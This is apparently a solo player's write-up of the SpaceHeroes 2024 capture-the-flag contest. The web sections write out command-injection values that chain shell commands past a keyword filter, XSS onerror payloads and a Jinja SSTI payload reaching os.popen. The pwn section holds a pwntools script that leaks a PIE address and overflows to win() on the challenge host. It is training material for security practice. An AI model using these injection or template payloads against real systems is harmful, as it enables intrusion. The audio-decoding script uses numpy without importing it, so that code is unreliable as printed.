Last updated: 14 Apr 24 22:45:15 (UTC)

SpaceHeroes

SpaceHeroes 2024

13/04 - 14/04

Space Heroes CTF returns for its third year! Hosted by FITSEC and Florida Tech, challenges will include all levels of difficulty (beginner to expert) for pwn, re, crypto, web, and forensics.

This year's competition will also include prizes for the top in-person competitors as we will hold in coordination with Hack Space Con 24

CTF Start Time : 2024-04-12T22:00:00Z

CTF End Time : 2024-04-14T23:00:00Z
Space Heroes CTF returns for its third year! Hosted by FITSEC and Florida Tech, challenges will include all levels of difficulty (beginner to expert) for pwn, re, crypto, web, and forensics.

This year's competition will also include prizes for the top in-person competitors as we will hold in coordination with Hack Space Con 24

CTF Start Time : 2024-04-12T22:00:00Z

CTF End Time : 2024-04-14T23:00:00Z

b3a08fdd867806091b16317c8c7f74c8.png

I participated in this CTF all alone and was able to learn some good things this ctf was a fun experience.

i ended 42nd out of 600+ team with 10 challenge flagged

for this writup in order :

  • 4 Web (+1 small that did not flag)
  • 3 Forensic
  • 1 Pwn
  • 2 Crypto

Slowly. Downward.

Web
9df315aaaa23ed7b3f01248017b32419.png

we can see a site with a lot of trash content, we still find a login page that returns a js alert when wrong.

the request made when login :
b62fa741bec91feef1a8d2f560ca14e6.png

we cant access the user.txt file, lets change the payload by removing If-Modified-Since & If-None-Match that are blocking our access to the page with their verifications

e51a82521e445ebe3406dd180f4cbb4c.png

user : 4dm1n

since the file’s name is user.txt lets send the same payload to try and GET a potential pass.txt

9460d05e982e60fd4099029c184bcc38.png

password : p4ssw0rd1sb0dy5n4tch3r5

it worked :

5ecb1b9f2679591df0468e82b55a605c.png

we cannot access the flag directly

a8cfeed2059f9c51828557240b1fcab8.png

it was an RCE :

67f65634f2f3867d25ee2b1d16c72a11.png

arbiter.txt; cat secret/flag/txt

shctf{sh0w_m3_th3_w0rld_a5_id_lov3_t0_s33_1t}
arbiter.txt; cat secret/flag/txt

shctf{sh0w_m3_th3_w0rld_a5_id_lov3_t0_s33_1t}

GTFO Jabba’s Palace

Web

110b079feca0928a26efb23814b6a128.png

we get a site with a searchbar

cb0162ed28adf05c61eed2cb5bbb129f.png

38b879177735466f70b5beccdb771803.png

in the request we can see the cookie :

Cookie: jabba=myfavoritedecoration

c5dc3ca2ec3cdfe121adf3bddf5052f2.png

was the right answer now we need a password

test

caab04250a739830454b8b2d911a2aa3.png

so there is this idea of J in a binary and GTFO lets try these :

i tried the GTFO list but didnt get anything so without anymore idea i looked all the J starting commands on my linux and made it a list

lets try it using burp intruder

had 3 interesting results :

4e24210092bd3df42152f558c129b4f4.png

f5a0c52a47abe5db4fa3687d5e88788f.png

there is a filter on words like cat, ls, credentials…

found in the source code of the new page that the bin is jq that can be used for file read

LFILE=flag.txt; jq -Rr . "$LFILE"
& 
jq -Rr . flag.txt
LFILE=flag.txt; jq -Rr . "$LFILE"
& 
jq -Rr . flag.txt

it didnt work because i forgot to put the " " 💀

(the backend was kinda shit and needed the command to be exactly executed with " " but in reality it works event without them)

0f50e5eb49aaf931795c20799f5c4000.png

now we need to find a way to get the flag.

by adding “;” after the command we can inject another command like in the first one, we now need to read flag.txt while bypassing the filters that are in place, for that lets use python :

jq -Rr . "flag.txt"; python -c "print(open('flag.txt').read())"
jq -Rr . "flag.txt"; python -c "print(open('flag.txt').read())"

antikythera

Web

0fdecda059fea6026e8ec07444942c29.png

we get a wheel that spins randomly, we can inject html code in a form to get an XSS, <script> is blocked but something like

<img src="x" onerror="alert()">
<img src="x" onerror="alert()">

works to execute js code

<img src="x" onerror="exec='test';document.write(exec)">
<img src="x" onerror="exec='test';document.write(exec)">

might be a SSTI

fa4f3dd7c97d04fce585e033dd287585.png

SSTI is comfirmed, lets use a tool like sstimap (didnt work)
anyway:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

035c5df1bde83fabd5642e87fe04ba8c.png
got it now we need to find the flag !

cd965f1ecbfeb0a11a8929d34739f51e.png

shctf{SSTI_1s_m0r3_fun_!_Wh3n_1t_b3c0m3s_RC3!}
shctf{SSTI_1s_m0r3_fun_!_Wh3n_1t_b3c0m3s_RC3!}

knowhere gram

Web

9c067da89d6942b5a3a84b374580f0f4.png

we get a site with images and admin can upload images,

i signup as <h1>test</h1> to check for XSS while looking around.

found a potential XSS on the profile page

d07543ec331121e3bc74a3c7350ac1ff.png

the login is made through 3 requests:

first :

url + id + token

58e8e832716cf7812d007db67865efcd.png

second :

id + token to verify the connection

38910a740f7124ccf06b372884c87bdf.png

last one : just the id to print the name on the page (we might be able to use this to get the names of each id’s thus finding admin)

42d020bbc109b9c37c3d0d03111b07a5.png

we look at the first id’s and find the admin id with email, username and hashed password

d8a6799d7ca7c31955400a8ee886a97e.png

we managed to crack it using hashcat and rockyou.txt

b310b0275ac0c1c44a3c150ae2d644cd.png

admin:superraccoon

url with id & token :

http://srv3.martiansonly.net:1111/home.php?id=13&token=a6872a843e420b3b6dbd3fd46ca0cf7d
http://srv3.martiansonly.net:1111/home.php?id=13&token=a6872a843e420b3b6dbd3fd46ca0cf7d

next step was to upload a shell and to get the flag, problem is someone managed to root the server that this chall was on (gg to the sysadmin) and thus the challenge was destroyed for a good time.

he even answered our messages through the index page and gave us a free shell to get the flag couldnt do the last part 😉

c79f5b95a89f042989c04cf7da00610e.png

742a0b075b777e55735459d065575397.png

ff294ac68a2189dab6b66fb55a8980bd.png

but i still went back to check the solution was to change the payload so that the file get uploaded as php and to go to /uploads/thefilename in order to run the shell, then get the /flag.txt without rooting and destroying the challenge (optional)


MartiansOnly (didnt flag it)

Web

d670463c87729661e9148141ea884031.png

we get a webapp with 3 pages, the home page that is basically empty, a page with a bunch of hot martians near my location (profile picture + description) and our profile page on which we can upload a picture and a name / description.

here is all the info i was able to gather for now:

  • the file upload verifies the Mime type, and renames the image pic.jpg so cant exploit it for code upload it seems.
  • the descriptions is stored in bio.txt
  • the name is used to create a directory in which both are stored (might be exploitable to overwrite)

since i got the whole code lets get the docker running to test it locally since the server keeps crashing 24/7 (was annoying i just FF irl)


Petey the Panther’s Guide to the Galaxy

Forensics

c30af466cc8f85ef03ce899edd1f85d8.png

we get an image

image(1).jpg

in this image using binwalk we find a LOT of images :

59e022fea5ce646a4eda5f1e59de7f79.png

ec267e54d8c9ecbebce9731841ad8796.png

400 images that looks like a qr code so its a 20 per 20 image qr code

lets create a script using python and pillow to assemble the qr code

a8e371c471bfb5b3a7e9a21107e15d09.png

once we run it :

9947027480ede7b9d221120b7d272253.png

cd58490d4acf625e30b8d612b0688dea.png

shctf{s0_l0ng_4nd_th4nks_f0r_4ll_th3_flags}
shctf{s0_l0ng_4nd_th4nks_f0r_4ll_th3_flags}

A Window into Space

Forensics

f7ef8605610d3ccda593d108bb05c3f5.png

we get a network file

when we read it we get this :

3c2ee47a269e17672447ee0534de2e2c.png

after looking at all the packets we understand that each 2 packets there is one char beeing sent in order to create the flag we just need to get each char in order and to create it (it was LONNG)

the char that we want is the first after the P char in the payload

after getting everything the flag is :

shctf{1_sh0uld_try_h1d1ng_1n_th3_ch3cksum_n3xt_t1me_0817}
shctf{1_sh0uld_try_h1d1ng_1n_th3_ch3cksum_n3xt_t1me_0817}

Space Frisbee

Forensics

0c2f29c177e232795d63eb11072dc071.png

we can a .wav file.

lets use audacity to check for WaveForm & spectogram:

491acb51e41ef1d93e4c35e59f730427.png

when we zoom in on the spectogram it kind of looks like morse code, lets see if there’s a hidden message in that

c7303826de6ba9c102496435dfb02a91.png

its not morse code BUT look at this :

shctf (flag format) in binary is : 01110011 01101000 01100011 01110100 01100110
shctf (flag format) in binary is : 01110011 01101000 01100011 01110100 01100110

and when we look at the wavelength (after zooming a little)

image.jpg

after more inspecting we can see that a bit is 0.010s long, it starts at 0 and the 8th bit (for ‘s’) is at 0.080s.

lets extract it !

the python code :

from scipy.io import wavfile


sample_rate, data = wavfile.read('../space_frisbee.wav')

# Calculate number of samples per bit (each bit = 10 ms)
samples_per_bit = int(0.010 * sample_rate)  # 10 ms worth of samples

# Decode each bit based on average amplitude over each 10 ms interval
binary_string = ''
for start in range(0, len(data), samples_per_bit):
    segment = data[start:start+samples_per_bit]
    if len(segment) == 0:
        continue
    avg_amplitude = np.mean(np.abs(segment))
    threshold_amplitude = np.percentile(np.abs(data), 50)  # Using median as threshold
    binary_string += '1' if avg_amplitude > threshold_amplitude else '0'

# Function to convert binary to ASCII
def binary_to_text(binary_str):
    text = ''
    for i in range(0, len(binary_str), 8):
        byte = binary_str[i:i+8]
        if len(byte) == 8:
            text += chr(int(byte, 2))
    return text

# Convert binary string to text
decoded_text = binary_to_text(binary_string)
print(decoded_text[:100])
from scipy.io import wavfile


sample_rate, data = wavfile.read('../space_frisbee.wav')

# Calculate number of samples per bit (each bit = 10 ms)
samples_per_bit = int(0.010 * sample_rate)  # 10 ms worth of samples

# Decode each bit based on average amplitude over each 10 ms interval
binary_string = ''
for start in range(0, len(data), samples_per_bit):
    segment = data[start:start+samples_per_bit]
    if len(segment) == 0:
        continue
    avg_amplitude = np.mean(np.abs(segment))
    threshold_amplitude = np.percentile(np.abs(data), 50)  # Using median as threshold
    binary_string += '1' if avg_amplitude > threshold_amplitude else '0'

# Function to convert binary to ASCII
def binary_to_text(binary_str):
    text = ''
    for i in range(0, len(binary_str), 8):
        byte = binary_str[i:i+8]
        if len(byte) == 8:
            text += chr(int(byte, 2))
    return text

# Convert binary string to text
decoded_text = binary_to_text(binary_string)
print(decoded_text[:100])
shctf{1ts_d3f1n1t3ly_n0t_4_sp0rt}
shctf{1ts_d3f1n1t3ly_n0t_4_sp0rt}

Buzz Lightyears PWN Ranger School

Pwn

80055bddb0eb4a7c910904c517a7d8ba.png

we get access to a bin, it is basically a list of challenges with good explanation of concepts and some exercises:

416c7d0a6e2a0a9eeed495f10bed1394.png

9ba18e9ae61b13903014118106b1899c.png

payload : AAAAAAAAAAAAAAAAA 
payload : AAAAAAAAAAAAAAAAA 

4aa0879aab5858a1455dd54599715a5e.png

payload : %9$p
payload : %9$p

8826102887aef1390ab0a1e71350b198.png

little more tricky we need to calculate a PIE address :

base address:  0x56428568b000
win() offset: 0x2139

PIE Address = Base + Offset
PIE Address = 0x56428568D139
base address:  0x56428568b000
win() offset: 0x2139

PIE Address = Base + Offset
PIE Address = 0x56428568D139

d6af90688dfacf64758aa0835b836fb4.png

last challenge :

76739d3a389efb7a29eb889b6ebff7ba.png

and they gave us a pwntools code :

from pwn import *

p = remote("spaceheroes-pwnschool.chals.io", 443, ssl=True, sni="spaceheroes-pwnschool.chals.io")
p.recvuntil(b'>>> ')
p.sendline(b'1')
p.recvuntil(b'>>> ')

# Overflowing the buffer in Step 1
p.sendline(cyclic(17))
p.recvuntil(b'>>> ')
p.sendline(b'2')
p.recvuntil(b'>>> ')

# Leaking the PIE address in Step 2
p.sendline(b'%9$p')
p.recvuntil(b' = ')
p.recvuntil(b' = ')
leak = int(p.recvline().strip(), 16)
p.recvuntil(b'>>> ')
p.sendline(b'3')
p.recvuntil(b'win(): ')
win_off = int(p.recvline().strip(), 16)

# Calculating win address in Step 3
win = leak + win_off
# Sometimes we need returns to line everything up
ret = win - 1
print(hex(win))
p.recvuntil(b'>>> ')
p.sendline(hex(win))
p.recvuntil(b'>>> ')
p.sendline(b'4')
p.recvuntil(b'>>> ')

# Sending a bunch of returns to line up and overflow, then the address of win.
p.sendline(p64(ret) * 6 + p64(win))

p.interactive()
from pwn import *

p = remote("spaceheroes-pwnschool.chals.io", 443, ssl=True, sni="spaceheroes-pwnschool.chals.io")
p.recvuntil(b'>>> ')
p.sendline(b'1')
p.recvuntil(b'>>> ')

# Overflowing the buffer in Step 1
p.sendline(cyclic(17))
p.recvuntil(b'>>> ')
p.sendline(b'2')
p.recvuntil(b'>>> ')

# Leaking the PIE address in Step 2
p.sendline(b'%9$p')
p.recvuntil(b' = ')
p.recvuntil(b' = ')
leak = int(p.recvline().strip(), 16)
p.recvuntil(b'>>> ')
p.sendline(b'3')
p.recvuntil(b'win(): ')
win_off = int(p.recvline().strip(), 16)

# Calculating win address in Step 3
win = leak + win_off
# Sometimes we need returns to line everything up
ret = win - 1
print(hex(win))
p.recvuntil(b'>>> ')
p.sendline(hex(win))
p.recvuntil(b'>>> ')
p.sendline(b'4')
p.recvuntil(b'>>> ')

# Sending a bunch of returns to line up and overflow, then the address of win.
p.sendline(p64(ret) * 6 + p64(win))

p.interactive()

6b2df45fe805c7095608d66a2643de05.png

the whole challenge was a good intruction to pwn concepts and to the pwntools library in python.

shctf{t0_pwnf1nity_&_b3y0nd!}
shctf{t0_pwnf1nity_&_b3y0nd!}

ᒣ⍑╎ϟ ╎ϟ リᒷᖋᒣ

crypto

043cbe429d87e74f8f5f3b86d7026657.png

the code used to encrypt the data :

from Crypto.Cipher import AES
import binascii, os

key = b"3153153153153153"
iv =  os.urandom(16)

plaintext = open('message.txt', 'rb').read().strip()

cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted_flag = open('message.enc', 'wb')
encrypted_flag.write(binascii.hexlify(cipher.encrypt(plaintext)))
encrypted_flag.close()
from Crypto.Cipher import AES
import binascii, os

key = b"3153153153153153"
iv =  os.urandom(16)

plaintext = open('message.txt', 'rb').read().strip()

cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted_flag = open('message.enc', 'wb')
encrypted_flag.write(binascii.hexlify(cipher.encrypt(plaintext)))
encrypted_flag.close()

its a simple AES CBC so lets write a python code to decrypt it using the known plaintext and the info we have :

from Crypto.Cipher import AES
import binascii

key = b"3153153153153153"
iv = b"\x91\xf2\x06\xb2\x98\x7e\x1e\xa7\xe9\x88\x61\x8a\x6e\xb4\xbc\xab"

cipher = AES.new(key, AES.MODE_CBC, iv)

with open('message.enc', 'rb') as file:
    encrypted_message = binascii.unhexlify(file.read())

decrypted_message = cipher.decrypt(encrypted_message)

decrypted_message = decrypted_message.rstrip(b'\x00')

if decrypted_message.startswith(b"Mortimer_McMire"):

    decrypted_message = decrypted_message[len(b"Mortimer_McMire"):]

plaintext = decrypted_message.decode('latin-1')
print("Decrypted message:", plaintext)
from Crypto.Cipher import AES
import binascii

key = b"3153153153153153"
iv = b"\x91\xf2\x06\xb2\x98\x7e\x1e\xa7\xe9\x88\x61\x8a\x6e\xb4\xbc\xab"

cipher = AES.new(key, AES.MODE_CBC, iv)

with open('message.enc', 'rb') as file:
    encrypted_message = binascii.unhexlify(file.read())

decrypted_message = cipher.decrypt(encrypted_message)

decrypted_message = decrypted_message.rstrip(b'\x00')

if decrypted_message.startswith(b"Mortimer_McMire"):

    decrypted_message = decrypted_message[len(b"Mortimer_McMire"):]

plaintext = decrypted_message.decode('latin-1')
print("Decrypted message:", plaintext)

f1da863871f8a85f198f51e4fde01868.png

shctf{th1s_was_ju5t_a_big_d1str4ction}
shctf{th1s_was_ju5t_a_big_d1str4ction}

Intergalactic Cinema

crypto

3ae92879e4f012a84fcfce39caac6827.png

18cc4df61120d3cc63db5a018ee5f7ed.png

just took some time but eventually we get the flag :

shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}
shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}

thanks for reading.